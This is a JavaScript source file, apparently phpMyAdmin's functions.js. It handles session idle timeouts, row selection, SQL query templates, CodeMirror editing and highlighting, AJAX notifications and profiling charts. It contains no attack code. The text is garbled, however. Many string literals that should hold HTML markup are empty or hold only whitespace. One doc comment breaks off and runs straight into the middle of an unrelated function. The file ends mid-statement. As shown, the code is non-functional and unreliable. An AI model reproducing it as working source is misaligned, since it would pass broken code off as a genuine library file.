AJAX.registerTeardown('functions.js', function () { clearTimeout(updateTimeout); clearInterval(incInterval); $(document).off('mousemove'); }); AJAX.registerOnload('functions.js', function () { document.onclick = function () { idleSecondsCounter = 0; }; $(document).on('mousemove',function () { idleSecondsCounter = 0; }); document.onkeypress = function () { idleSecondsCounter = 0; }; function guid () { function s4 () { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } function SetIdleTime () { idleSecondsCounter++; } function UpdateIdleTime () { var href = 'index.php?route=/'; var guid = 'default'; if (isStorageSupported('sessionStorage')) { guid = window.sessionStorage.guid; } var params = { 'ajax_request' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'guid': guid, 'access_time': idleSecondsCounter, 'check_timeout': 1 }; $.ajax({ type: 'POST', url: href, data: params, success: function (data) { if (data.success) { if (CommonParams.get('LoginCookieValidity') - idleSecondsCounter < 0) { /* There is other active window, let's reset counter */ idleSecondsCounter = 0; } var remaining = Math.min( /* Remaining login validity */ CommonParams.get('LoginCookieValidity') - idleSecondsCounter, /* Remaining time till session GC */ CommonParams.get('session_gc_maxlifetime') ); var interval = 1000; if (remaining > 5) { // max value for setInterval() function interval = Math.min((remaining - 1) * 1000, Math.pow(2, 31) - 1); } updateTimeout = window.setTimeout(UpdateIdleTime, interval); } else { // timeout occurred clearInterval(incInterval); if (isStorageSupported('sessionStorage')) { window.sessionStorage.clear(); } // append the login form on the page, disable all the forms which were not disabled already, close all the open jqueryui modal boxes if (!$('#modalOverlay').length) { $('fieldset').not(':disabled').attr('disabled', 'disabled').addClass('disabled_for_expiration'); $('body').append(data.error); $('.ui-dialog').each(function () { $('#' + $(this).attr('aria-describedby')).dialog('close'); }); $('#input_username').trigger('focus'); } else { CommonParams.set('token', data.new_token); $('input[name=token]').val(data.new_token); } idleSecondsCounter = 0; Functions.handleRedirectAndReload(data); } } }); } if (CommonParams.get('logged_in')) { incInterval = window.setInterval(SetIdleTime, 1000); var sessionTimeout = Math.min( CommonParams.get('LoginCookieValidity'), CommonParams.get('session_gc_maxlifetime') ); if (isStorageSupported('sessionStorage')) { window.sessionStorage.setItem('guid', guid()); } var interval = (sessionTimeout - 5) * 1000; if (interval > Math.pow(2, 31) - 1) { // max value for setInterval() function interval = Math.pow(2, 31) - 1; } updateTimeout = window.setTimeout(UpdateIdleTime, interval); } }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'input:checkbox.checkall'); }); AJAX.registerOnload('functions.js', function () { /** * Row marking in horizontal mode (use "on" so that it works also for * next pages reached via AJAX); a tr may have the class noclick to remove * this behavior. */ $(document).on('click', 'input:checkbox.checkall', function (e) { var $this = $(this); var $tr = $this.closest('tr'); var $table = $this.closest('table'); if (!e.shiftKey || lastClickedRow === -1) { // usual click var $checkbox = $tr.find(':checkbox.checkall'); var checked = $this.prop('checked'); $checkbox.prop('checked', checked).trigger('change'); if (checked) { $tr.addClass('marked table-active'); } else { $tr.removeClass('marked table-active'); } lastClickChecked = checked; // remember the last clicked row lastClickedRow = lastClickChecked ? $table.find('tbody tr:not(.noclick)').index($tr) : -1; lastShiftClickedRow = -1; } else { // handle the shift click Functions.clearSelection(); var start; var end; // clear last shift click result if (lastShiftClickedRow >= 0) { if (lastShiftClickedRow >= lastClickedRow) { start = lastClickedRow; end = lastShiftClickedRow; } else { start = lastShiftClickedRow; end = lastClickedRow; } $tr.parent().find('tr:not(.noclick)') .slice(start, end + 1) .removeClass('marked table-active') .find(':checkbox') .prop('checked', false) .trigger('change'); } // handle new shift click var currRow = $table.find('tbody tr:not(.noclick)').index($tr); if (currRow >= lastClickedRow) { start = lastClickedRow; end = currRow; } else { start = currRow; end = lastClickedRow; } $tr.parent().find('tr:not(.noclick)') .slice(start, end + 1) .addClass('marked table-active') .find(':checkbox') .prop('checked', true) .trigger('change'); // remember the last shift clicked row lastShiftClickedRow = currRow; } }); Functions.addDateTimePicker(); /** * Add attribute to text boxes for iOS devices (based on bugID: 3508912) */ if (navigator.userAgent.match(/(iphone|ipod|ipad)/i)) { $('input[type=text]').attr('autocapitalize', 'off').attr('autocorrect', 'off'); } }); /** * Checks/unchecks all options of a '); } } else { if ($simulateDml.length) { $simulateDml.remove(); } } }; /** * Create quick sql statements. * * @param {'clear'|'format'|'saved'|'selectall'|'select'|'insert'|'update'|'delete'} queryType * */ Functions.insertQuery = function (queryType) { var table; if (queryType === 'clear') { Functions.setQuery(''); return; } else if (queryType === 'format') { if (codeMirrorEditor) { $('#querymessage').html(Messages.strFormatting + ' '); var params = { 'ajax_request': true, 'sql': codeMirrorEditor.getValue(), 'server': CommonParams.get('server') }; $.ajax({ type: 'POST', url: 'index.php?route=/database/sql/format', data: params, success: function (data) { if (data.success) { codeMirrorEditor.setValue(data.sql); } $('#querymessage').html(''); }, error: function () { $('#querymessage').html(''); } }); } return; } else if (queryType === 'saved') { var db = $('input[name="db"]').val(); table = $('input[name="table"]').val(); var key = db; if (table !== undefined) { key += '.' + table; } key = 'autoSavedSql_' + key; if (isStorageSupported('localStorage') && typeof window.localStorage.getItem(key) === 'string') { Functions.setQuery(window.localStorage.getItem(key)); } else if (Cookies.get(key)) { Functions.setQuery(Cookies.get(key)); } else { Functions.ajaxShowMessage(Messages.strNoAutoSavedQuery); } return; } var query = ''; var myListBox = document.sqlform.dummy; table = document.sqlform.table.value; if (myListBox.options.length > 0) { sqlBoxLocked = true; var columnsList = ''; var valDis = ''; var editDis = ''; var NbSelect = 0; for (var i = 0; i < myListBox.options.length; i++) { NbSelect++; if (NbSelect > 1) { columnsList += ', '; valDis += ','; editDis += ','; } columnsList += myListBox.options[i].value; valDis += '\'[value-' + NbSelect + ']\''; editDis += myListBox.options[i].value + '=\'[value-' + NbSelect + ']\''; } if (queryType === 'selectall') { query = 'SELECT * FROM `' + table + '` WHERE 1'; } else if (queryType === 'select') { query = 'SELECT ' + columnsList + ' FROM `' + table + '` WHERE 1'; } else if (queryType === 'insert') { query = 'INSERT INTO `' + table + '`(' + columnsList + ') VALUES (' + valDis + ')'; } else if (queryType === 'update') { query = 'UPDATE `' + table + '` SET ' + editDis + ' WHERE 1'; } else if (queryType === 'delete') { query = 'DELETE FROM `' + table + '` WHERE 0'; } Functions.setQuery(query); sqlBoxLocked = false; } }; /** * Inserts multiple fields. * */ Functions.insertValueQuery = function () { var myQuery = document.sqlform.sql_query; var myListBox = document.sqlform.dummy; if (myListBox.options.length > 0) { sqlBoxLocked = true; var columnsList = ''; var NbSelect = 0; for (var i = 0; i < myListBox.options.length; i++) { if (myListBox.options[i].selected) { NbSelect++; if (NbSelect > 1) { columnsList += ', '; } columnsList += myListBox.options[i].value; } } /* CodeMirror support */ if (codeMirrorEditor) { codeMirrorEditor.replaceSelection(columnsList); codeMirrorEditor.focus(); // IE support } else if (document.selection) { myQuery.focus(); var sel = document.selection.createRange(); sel.text = columnsList; // MOZILLA/NETSCAPE support } else if (document.sqlform.sql_query.selectionStart || document.sqlform.sql_query.selectionStart === '0') { var startPos = document.sqlform.sql_query.selectionStart; var endPos = document.sqlform.sql_query.selectionEnd; var SqlString = document.sqlform.sql_query.value; myQuery.value = SqlString.substring(0, startPos) + columnsList + SqlString.substring(endPos, SqlString.length); myQuery.focus(); } else { myQuery.value += columnsList; } // eslint-disable-next-line no-unused-vars sqlBoxLocked = false; } }; /** * Updates the input fields for the parameters based on the query */ Functions.updateQueryParameters = function () { if ($('#parameterized').is(':checked')) { var query = codeMirrorEditor ? codeMirrorEditor.getValue() : $('#sqlquery').val(); var allParameters = query.match(/:[a-zA-Z0-9_]+/g); var parameters = []; // get unique parameters if (allParameters) { $.each(allParameters, function (i, parameter) { if ($.inArray(parameter, parameters) === -1) { parameters.push(parameter); } }); } else { $('#parametersDiv').text(Messages.strNoParam); return; } var $temp = $('
          '); $temp.append($('#parametersDiv').children()); $('#parametersDiv').empty(); $.each(parameters, function (i, parameter) { var paramName = parameter.substring(1); var $param = $temp.find('#paramSpan_' + paramName); if (! $param.length) { $param = $(''); $('').text(parameter).appendTo($param); $('').appendTo($param); } $('#parametersDiv').append($param); }); } else { $('#parametersDiv').empty(); } }; /** * Get checkbox for foreign key checks * * @return {string} */ Functions.getForeignKeyCheckboxLoader = function () { var html = ''; html += '
          '; html += '
          '; html += Functions.getImage('ajax_clock_small'); html += '
          '; html += '
          '; return html; }; Functions.loadForeignKeyCheckbox = function () { // Load default foreign key check value var params = { 'ajax_request': true, 'server': CommonParams.get('server'), }; $.get('index.php?route=/sql/get-default-fk-check-value', params, function (data) { var html = '' + '' + ''; $('.load-default-fk-check-value').replaceWith(html); }); }; Functions.getJsConfirmCommonParam = function (elem, parameters) { var $elem = $(elem); var params = parameters; var sep = CommonParams.get('arg_separator'); if (params) { // Strip possible leading ? if (params.substring(0,1) === '?') { params = params.substr(1); } params += sep; } else { params = ''; } params += 'is_js_confirmed=1' + sep + 'ajax_request=true' + sep + 'fk_checks=' + ($elem.find('#fk_checks').is(':checked') ? 1 : 0); return params; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'a.inline_edit_sql'); $(document).off('click', 'input#sql_query_edit_save'); $(document).off('click', 'input#sql_query_edit_discard'); $('input.sqlbutton').off('click'); if (codeMirrorEditor) { codeMirrorEditor.off('blur'); } else { $(document).off('blur', '#sqlquery'); } $(document).off('change', '#parameterized'); $(document).off('click', 'input.sqlbutton'); $('#sqlquery').off('keydown'); $('#sql_query_edit').off('keydown'); if (codeMirrorInlineEditor) { // Copy the sql query to the text area to preserve it. $('#sql_query_edit').text(codeMirrorInlineEditor.getValue()); $(codeMirrorInlineEditor.getWrapperElement()).off('keydown'); codeMirrorInlineEditor.toTextArea(); codeMirrorInlineEditor = false; } if (codeMirrorEditor) { $(codeMirrorEditor.getWrapperElement()).off('keydown'); } }); /** * Jquery Coding for inline editing SQL_QUERY */ AJAX.registerOnload('functions.js', function () { // If we are coming back to the page by clicking forward button // of the browser, bind the code mirror to inline query editor. Functions.bindCodeMirrorToInlineEditor(); $(document).on('click', 'a.inline_edit_sql', function () { if ($('#sql_query_edit').length) { // An inline query editor is already open, // we don't want another copy of it return false; } var $form = $(this).prev('form'); var sqlQuery = $form.find('input[name=\'sql_query\']').val().trim(); var $innerSql = $(this).parent().prev().find('code.sql'); var newContent = '\n'; newContent += Functions.getForeignKeyCheckboxLoader(); newContent += '\n'; newContent += '\n'; var $editorArea = $('div#inline_editor'); if ($editorArea.length === 0) { $editorArea = $('
          '); $editorArea.insertBefore($innerSql); } $editorArea.html(newContent); Functions.loadForeignKeyCheckbox(); $innerSql.hide(); Functions.bindCodeMirrorToInlineEditor(); return false; }); $(document).on('click', 'input#sql_query_edit_save', function () { // hide already existing success message var sqlQuery; if (codeMirrorInlineEditor) { codeMirrorInlineEditor.save(); sqlQuery = codeMirrorInlineEditor.getValue(); } else { sqlQuery = $(this).parent().find('#sql_query_edit').val(); } var fkCheck = $(this).parent().find('#fk_checks').is(':checked'); var $form = $('a.inline_edit_sql').prev('form'); var $fakeForm = $('
          ', { action: 'index.php?route=/import', method: 'post' }) .append($form.find('input[name=server], input[name=db], input[name=table], input[name=token]').clone()) .append($('', { type: 'hidden', name: 'show_query', value: 1 })) .append($('', { type: 'hidden', name: 'is_js_confirmed', value: 0 })) .append($('', { type: 'hidden', name: 'sql_query', value: sqlQuery })) .append($('', { type: 'hidden', name: 'fk_checks', value: fkCheck ? 1 : 0 })); if (! Functions.checkSqlQuery($fakeForm[0])) { return false; } $('.alert-success').hide(); $fakeForm.appendTo($('body')).trigger('submit'); }); $(document).on('click', 'input#sql_query_edit_discard', function () { var $divEditor = $('div#inline_editor_outer'); $divEditor.siblings('code.sql').show(); $divEditor.remove(); }); $(document).on('click', 'input.sqlbutton', function (evt) { Functions.insertQuery(evt.target.id); Functions.handleSimulateQueryButton(); return false; }); $(document).on('change', '#parameterized', Functions.updateQueryParameters); var $inputUsername = $('#input_username'); if ($inputUsername) { if ($inputUsername.val() === '') { $inputUsername.trigger('focus'); } else { $('#input_password').trigger('focus'); } } }); /** * "inputRead" event handler for CodeMirror SQL query editors for autocompletion * @param instance */ Functions.codeMirrorAutoCompleteOnInputRead = function (instance) { if (!sqlAutoCompleteInProgress && (!instance.options.hintOptions.tables || !sqlAutoComplete)) { if (!sqlAutoComplete) { // Reset after teardown instance.options.hintOptions.tables = false; instance.options.hintOptions.defaultTable = ''; sqlAutoCompleteInProgress = true; var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'no_debug': true }; var columnHintRender = function (elem, self, data) { $('
          ') .text(data.columnName) .appendTo(elem); $('
          ') .text(data.columnHint) .appendTo(elem); }; $.ajax({ type: 'POST', url: 'index.php?route=/database/sql/autocomplete', data: params, success: function (data) { if (data.success) { var tables = JSON.parse(data.tables); sqlAutoCompleteDefaultTable = CommonParams.get('table'); sqlAutoComplete = []; for (var table in tables) { if (tables.hasOwnProperty(table)) { var columns = tables[table]; table = { text: table, columns: [] }; for (var column in columns) { if (columns.hasOwnProperty(column)) { var displayText = columns[column].Type; if (columns[column].Key === 'PRI') { displayText += ' | Primary'; } else if (columns[column].Key === 'UNI') { displayText += ' | Unique'; } table.columns.push({ text: column, displayText: column + ' | ' + displayText, columnName: column, columnHint: displayText, render: columnHintRender }); } } } sqlAutoComplete.push(table); } instance.options.hintOptions.tables = sqlAutoComplete; instance.options.hintOptions.defaultTable = sqlAutoCompleteDefaultTable; } }, complete: function () { sqlAutoCompleteInProgress = false; } }); } else { instance.options.hintOptions.tables = sqlAutoComplete; instance.options.hintOptions.defaultTable = sqlAutoCompleteDefaultTable; } } if (instance.state.completionActive) { return; } var cur = instance.getCursor(); var token = instance.getTokenAt(cur); var string = ''; if (token.string.match(/^[.`\w@]\w*$/)) { string = token.string; } if (string.length > 0) { CodeMirror.commands.autocomplete(instance); } }; /** * Remove autocomplete information before tearing down a page */ AJAX.registerTeardown('functions.js', function () { sqlAutoComplete = false; sqlAutoCompleteDefaultTable = ''; }); /** * Binds the CodeMirror to the text area used to inline edit a query. */ Functions.bindCodeMirrorToInlineEditor = function () { var $inlineEditor = $('#sql_query_edit'); if ($inlineEditor.length > 0) { if (typeof CodeMirror !== 'undefined') { var height = $inlineEditor.css('height'); codeMirrorInlineEditor = Functions.getSqlEditor($inlineEditor); codeMirrorInlineEditor.getWrapperElement().style.height = height; codeMirrorInlineEditor.refresh(); codeMirrorInlineEditor.focus(); $(codeMirrorInlineEditor.getWrapperElement()) .on('keydown', Functions.catchKeypressesFromSqlInlineEdit); } else { $inlineEditor .trigger('focus') .on('keydown', Functions.catchKeypressesFromSqlInlineEdit); } } }; Functions.catchKeypressesFromSqlInlineEdit = function (event) { // ctrl-enter is 10 in chrome and ie, but 13 in ff if ((event.ctrlKey || event.metaKey) && (event.keyCode === 13 || event.keyCode === 10)) { $('#sql_query_edit_save').trigger('click'); } }; /** * Adds doc link to single highlighted SQL element * * @param $elm * @param params */ Functions.documentationAdd = function ($elm, params) { if (typeof mysqlDocTemplate === 'undefined') { return; } var url = Functions.sprintf( decodeURIComponent(mysqlDocTemplate), params[0] ); if (params.length > 1) { // The # needs to be escaped to be part of the destination URL url += encodeURIComponent('#') + params[1]; } var content = $elm.text(); $elm.text(''); $elm.append('' + content + ''); }; /** * Generates doc links for keywords inside highlighted SQL * * @param idx * @param elm */ Functions.documentationKeyword = function (idx, elm) { var $elm = $(elm); /* Skip already processed ones */ if ($elm.find('a').length > 0) { return; } var keyword = $elm.text().toUpperCase(); var $next = $elm.next('.cm-keyword'); if ($next) { var nextKeyword = $next.text().toUpperCase(); var full = keyword + ' ' + nextKeyword; var $next2 = $next.next('.cm-keyword'); if ($next2) { var next2Keyword = $next2.text().toUpperCase(); var full2 = full + ' ' + next2Keyword; if (full2 in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[full2]); Functions.documentationAdd($next, mysqlDocKeyword[full2]); Functions.documentationAdd($next2, mysqlDocKeyword[full2]); return; } } if (full in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[full]); Functions.documentationAdd($next, mysqlDocKeyword[full]); return; } } if (keyword in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[keyword]); } }; /** * Generates doc links for builtins inside highlighted SQL * * @param idx * @param elm */ Functions.documentationBuiltin = function (idx, elm) { var $elm = $(elm); var builtin = $elm.text().toUpperCase(); if (builtin in mysqlDocBuiltin) { Functions.documentationAdd($elm, mysqlDocBuiltin[builtin]); } }; /** * Higlights SQL using CodeMirror. * * @param $base */ Functions.highlightSql = function ($base) { var $elm = $base.find('code.sql'); $elm.each(function () { var $sql = $(this); var $pre = $sql.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
          '); $sql.append($highlight); if (typeof CodeMirror !== 'undefined') { CodeMirror.runMode($sql.text(), 'text/x-mysql', $highlight[0]); $pre.hide(); $highlight.find('.cm-keyword').each(Functions.documentationKeyword); $highlight.find('.cm-builtin').each(Functions.documentationBuiltin); } } }); }; /** * Updates an element containing code. * * @param {JQuery} $base base element which contains the raw and the * highlighted code. * * @param {string} htmlValue code in HTML format, displayed if code cannot be * highlighted * * @param {string} rawValue raw code, used as a parameter for highlighter * * @return {boolean} whether content was updated or not */ Functions.updateCode = function ($base, htmlValue, rawValue) { var $code = $base.find('code'); if ($code.length === 0) { return false; } // Determines the type of the content and appropriate CodeMirror mode. var type = ''; var mode = ''; if ($code.hasClass('json')) { type = 'json'; mode = 'application/json'; } else if ($code.hasClass('sql')) { type = 'sql'; mode = 'text/x-mysql'; } else if ($code.hasClass('xml')) { type = 'xml'; mode = 'application/xml'; } else { return false; } // Element used to display unhighlighted code. var $notHighlighted = $('
          ' + htmlValue + '
          '); // Tries to highlight code using CodeMirror. if (typeof CodeMirror !== 'undefined') { var $highlighted = $('
          '); CodeMirror.runMode(rawValue, mode, $highlighted[0]); $notHighlighted.hide(); $code.html('').append($notHighlighted, $highlighted[0]); } else { $code.html('').append($notHighlighted); } return true; }; /** * Show a message on the top of the page for an Ajax request * * Sample usage: * * 1) var $msg = Functions.ajaxShowMessage(); * This will show a message that reads "Loading...". Such a message will not * disappear automatically and cannot be dismissed by the user. To remove this * message either the Functions.ajaxRemoveMessage($msg) function must be called or * another message must be show with Functions.ajaxShowMessage() function. * * 2) var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); * This is a special case. The behaviour is same as above, * just with a different message * * 3) var $msg = Functions.ajaxShowMessage('The operation was successful'); * This will show a message that will disappear automatically and it can also * be dismissed by the user. * * 4) var $msg = Functions.ajaxShowMessage('Some error', false); * This will show a message that will not disappear automatically, but it * can be dismissed by the user after they have finished reading it. * * @param {string} message string containing the message to be shown. * optional, defaults to 'Loading...' * @param {any} timeout number of milliseconds for the message to be visible * optional, defaults to 5000. If set to 'false', the * notification will never disappear * @param {string} type string to dictate the type of message shown. * optional, defaults to normal notification. * If set to 'error', the notification will show message * with red background. * If set to 'success', the notification will show with * a green background. * @return {JQuery} jQuery Element that holds the message div * this object can be passed to Functions.ajaxRemoveMessage() * to remove the notification */ Functions.ajaxShowMessage = function (message, timeout, type) { var msg = message; var newTimeOut = timeout; /** * @var self_closing Whether the notification will automatically disappear */ var selfClosing = true; /** * @var dismissable Whether the user will be able to remove * the notification by clicking on it */ var dismissable = true; // Handle the case when a empty data.message is passed. // We don't want the empty message if (msg === '') { return true; } else if (! msg) { // If the message is undefined, show the default msg = Messages.strLoading; dismissable = false; selfClosing = false; } else if (msg === Messages.strProcessingRequest) { // This is another case where the message should not disappear dismissable = false; selfClosing = false; } // Figure out whether (or after how long) to remove the notification if (newTimeOut === undefined || newTimeOut === null) { newTimeOut = 5000; } else if (newTimeOut === false) { selfClosing = false; } // Determine type of message, add styling as required if (type === 'error') { msg = ''; } else if (type === 'success') { msg = ''; } // Create a parent element for the AJAX messages, if necessary if ($('#loading_parent').length === 0) { $('
          ') .prependTo('#page_content'); } // Update message count to create distinct message elements every time ajaxMessageCount++; // Remove all old messages, if any $('span.ajax_notification[id^=ajax_message_num]').remove(); /** * @var $retval a jQuery object containing the reference * to the created AJAX message */ var $retval = $( '' ) .hide() .appendTo('#loading_parent') .html(msg) .show(); // If the notification is self-closing we should create a callback to remove it if (selfClosing) { $retval .delay(newTimeOut) .fadeOut('medium', function () { if ($(this).is(':data(tooltip)')) { $(this).uiTooltip('destroy'); } // Remove the notification $(this).remove(); }); } // If the notification is dismissable we need to add the relevant class to it // and add a tooltip so that the users know that it can be removed if (dismissable) { $retval.addClass('dismissable').css('cursor', 'pointer'); /** * Add a tooltip to the notification to let the user know that they * can dismiss the ajax notification by clicking on it. */ Functions.tooltip( $retval, 'span', Messages.strDismiss ); } // Hide spinner if this is not a loading message if (msg !== Messages.strLoading) { $retval.css('background-image', 'none'); } Functions.highlightSql($retval); return $retval; }; /** * Removes the message shown for an Ajax operation when it's completed * * @param {JQuery} $thisMessageBox Element that holds the notification * * @return {void} */ Functions.ajaxRemoveMessage = function ($thisMessageBox) { if ($thisMessageBox !== undefined && $thisMessageBox instanceof jQuery) { $thisMessageBox .stop(true, true) .fadeOut('medium'); if ($thisMessageBox.is(':data(tooltip)')) { $thisMessageBox.uiTooltip('destroy'); } else { $thisMessageBox.remove(); } } }; /** * Requests SQL for previewing before executing. * * @param {JQuery} $form Form containing query data * * @return {void} */ Functions.previewSql = function ($form) { var formUrl = $form.attr('action'); var sep = CommonParams.get('arg_separator'); var formData = $form.serialize() + sep + 'do_save_data=1' + sep + 'preview_sql=1' + sep + 'ajax_request=1'; var $messageBox = Functions.ajaxShowMessage(); $.ajax({ type: 'POST', url: formUrl, data: formData, success: function (response) { Functions.ajaxRemoveMessage($messageBox); if (response.success) { $('#previewSqlModal').modal('show'); $('#previewSqlModal').find('.modal-body').first().html(response.sql_data); $('#previewSqlModalLabel').first().html(Messages.strPreviewSQL); $('#previewSqlModal').on('shown.bs.modal', function () { Functions.highlightSql($('#previewSqlModal')); }); } else { Functions.ajaxShowMessage(response.message); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); }; /** * Callback called when submit/"OK" is clicked on sql preview/confirm modal * * @callback onSubmitCallback * @param {string} url The url */ /** * * @param {string} sqlData Sql query to preview * @param {string} url Url to be sent to callback * @param {onSubmitCallback} callback On submit callback function * * @return {void} */ Functions.confirmPreviewSql = function (sqlData, url, callback) { $('#previewSqlConfirmModal').modal('show'); $('#previewSqlConfirmModalLabel').first().html(Messages.strPreviewSQL); $('#previewSqlConfirmCode').first().text(sqlData); $('#previewSqlConfirmModal').on('shown.bs.modal', function () { Functions.highlightSql($('#previewSqlConfirmModal')); }); $('#previewSQLConfirmOkButton').on('click', function () { callback(url); $('#previewSqlConfirmModal').modal('hide'); }); }; /** * check for reserved keyword column name * * @param {JQuery} $form Form * * @return {boolean} */ Functions.checkReservedWordColumns = function ($form) { var isConfirmed = true; $.ajax({ type: 'POST', url: 'index.php?route=/table/structure/reserved-word-check', data: $form.serialize(), success: function (data) { if (typeof data.success !== 'undefined' && data.success === true) { isConfirmed = confirm(data.message); } }, async:false }); return isConfirmed; }; // This event only need to be fired once after the initial page load $(function () { /** * Allows the user to dismiss a notification * created with Functions.ajaxShowMessage() */ var holdStarter = null; $(document).on('mousedown', 'span.ajax_notification.dismissable', function () { holdStarter = setTimeout(function () { holdStarter = null; }, 250); }); $(document).on('mouseup', 'span.ajax_notification.dismissable', function (event) { if (holdStarter && event.which === 1) { clearTimeout(holdStarter); Functions.ajaxRemoveMessage($(this)); } }); /** * The below two functions hide the "Dismiss notification" tooltip when a user * is hovering a link or button that is inside an ajax message */ $(document).on('mouseover', 'span.ajax_notification a, span.ajax_notification button, span.ajax_notification input', function () { if ($(this).parents('span.ajax_notification').is(':data(tooltip)')) { $(this).parents('span.ajax_notification').uiTooltip('disable'); } }); $(document).on('mouseout', 'span.ajax_notification a, span.ajax_notification button, span.ajax_notification input', function () { if ($(this).parents('span.ajax_notification').is(':data(tooltip)')) { $(this).parents('span.ajax_notification').uiTooltip('enable'); } }); /** * Copy text to clipboard * * @param {string | number | string[]} text to copy to clipboard * * @return {boolean} */ Functions.copyToClipboard = function (text) { var $temp = $(''); $temp.css({ 'position': 'fixed', 'width': '2em', 'border': 0, 'top': 0, 'left': 0, 'padding': 0, 'background': 'transparent' }); $('body').append($temp); $temp.val(text).trigger('select'); try { var res = document.execCommand('copy'); $temp.remove(); return res; } catch (e) { $temp.remove(); return false; } }; $(document).on('click', 'a.copyQueryBtn', function (event) { event.preventDefault(); var res = Functions.copyToClipboard($(this).attr('data-text')); if (res) { $(this).after(' (' + Messages.strCopyQueryButtonSuccess + ')'); } else { $(this).after(' (' + Messages.strCopyQueryButtonFailure + ')'); } setTimeout(function () { $('#copyStatus').remove(); }, 2000); }); }); /** * Hides/shows the "Open in ENUM/SET editor" message, depending on the data type of the column currently selected * * @param selectElement */ Functions.showNoticeForEnum = function (selectElement) { var enumNoticeId = selectElement.attr('id').split('_')[1]; enumNoticeId += '_' + (parseInt(selectElement.attr('id').split('_')[2], 10) + 1); var selectedType = selectElement.val(); if (selectedType === 'ENUM' || selectedType === 'SET') { $('p#enum_notice_' + enumNoticeId).show(); } else { $('p#enum_notice_' + enumNoticeId).hide(); } }; /** * Hides/shows a warning message when LENGTH is used with inappropriate integer type */ Functions.showWarningForIntTypes = function () { if ($('div#length_not_allowed').length) { var lengthRestrictions = $('select.column_type option').map(function () { return $(this).filter(':selected').attr('data-length-restricted'); }).get(); var restricationFound = lengthRestrictions.some(restriction => Number(restriction) === 1); if (restricationFound) { $('div#length_not_allowed').show(); } else { $('div#length_not_allowed').hide(); } } }; /** * Creates a Profiling Chart. Used in sql.js * and in server/status/monitor.js * * @param target * @param data * * @return {object} */ Functions.createProfilingChart = function (target, data) { // create the chart var factory = new JQPlotChartFactory(); var chart = factory.createChart(ChartType.PIE, target); // create the data table and add columns var dataTable = new DataTable(); dataTable.addColumn(ColumnType.STRING, ''); dataTable.addColumn(ColumnType.NUMBER, ''); dataTable.setData(data); var windowWidth = $(window).width(); var location = 's'; if (windowWidth > 768) { location = 'se'; } // draw the chart and return the chart object chart.draw(dataTable, { seriesDefaults: { rendererOptions: { showDataLabels: true } }, highlighter: { tooltipLocation: 'se', sizeAdjust: 0, tooltipAxes: 'pieref', formatString: '%s, %.9Ps' }, legend: { show: true, location: location, rendererOptions: { numberColumns: 2 } }, // from https://web.archive.org/web/20190321233412/http://tango.freedesktop.org/Tango_Icon_Theme_Guidelines seriesColors: [ '#fce94f', '#fcaf3e', '#e9b96e', '#8ae234', '#729fcf', '#ad7fa8', '#ef2929', '#888a85', '#c4a000', '#ce5c00', '#8f5902', '#4e9a06', '#204a87', '#5c3566', '#a40000', '#babdb6', '#2e3436' ] }); return chart; }; /** * Formats a profiling duration nicely (in us and ms time). * Used in server/status/monitor.js * * @param {number} number Number to be formatted, should be in the range of microsecond to second * @param {number} accuracy Accuracy, how many numbers right to the comma should be * @return {string} The formatted number */ Functions.prettyProfilingNum = function (number, accuracy) { var num = number; var acc = accuracy; if (!acc) { acc = 2; } acc = Math.pow(10, acc); if (num * 1000 < 0.1) { num = Math.round(acc * (num * 1000 * 1000)) / acc + 'µ'; } else if (num < 0.1) { num = Math.round(acc * (num * 1000)) / acc + 'm'; } else { num = Math.round(acc * num) / acc; } return num + 's'; }; /** * Formats a SQL Query nicely with newlines and indentation. Depends on Codemirror and MySQL Mode! * * @param {string} string Query to be formatted * @return {string} The formatted query */ Functions.sqlPrettyPrint = function (string) { if (typeof CodeMirror === 'undefined') { return string; } var mode = CodeMirror.getMode({}, 'text/x-mysql'); var stream = new CodeMirror.StringStream(string); var state = mode.startState(); var token; var tokens = []; var output = ''; var tabs = function (cnt) { var ret = ''; for (var i = 0; i < 4 * cnt; i++) { ret += ' '; } return ret; }; // "root-level" statements var statements = { 'select': ['select', 'from', 'on', 'where', 'having', 'limit', 'order by', 'group by'], 'update': ['update', 'set', 'where'], 'insert into': ['insert into', 'values'] }; // don't put spaces before these tokens var spaceExceptionsBefore = { ';': true, ',': true, '.': true, '(': true }; // don't put spaces after these tokens var spaceExceptionsAfter = { '.': true }; // Populate tokens array while (! stream.eol()) { stream.start = stream.pos; token = mode.token(stream, state); if (token !== null) { tokens.push([token, stream.current().toLowerCase()]); } } var currentStatement = tokens[0][1]; if (! statements[currentStatement]) { return string; } // Holds all currently opened code blocks (statement, function or generic) var blockStack = []; // If a new code block is found, newBlock contains its type for one iteration and vice versa for endBlock var newBlock; var endBlock; // How much to indent in the current line var indentLevel = 0; // Holds the "root-level" statements var statementPart; var lastStatementPart = statements[currentStatement][0]; blockStack.unshift('statement'); // Iterate through every token and format accordingly for (var i = 0; i < tokens.length; i++) { // New block => push to stack if (tokens[i][1] === '(') { if (i < tokens.length - 1 && tokens[i + 1][0] === 'statement-verb') { blockStack.unshift(newBlock = 'statement'); } else if (i > 0 && tokens[i - 1][0] === 'builtin') { blockStack.unshift(newBlock = 'function'); } else { blockStack.unshift(newBlock = 'generic'); } } else { newBlock = null; } // Block end => pop from stack if (tokens[i][1] === ')') { endBlock = blockStack[0]; blockStack.shift(); } else { endBlock = null; } // A subquery is starting if (i > 0 && newBlock === 'statement') { indentLevel++; output += '\n' + tabs(indentLevel) + tokens[i][1] + ' ' + tokens[i + 1][1].toUpperCase() + '\n' + tabs(indentLevel + 1); currentStatement = tokens[i + 1][1]; i++; continue; } // A subquery is ending if (endBlock === 'statement' && indentLevel > 0) { output += '\n' + tabs(indentLevel); indentLevel--; } // One less indentation for 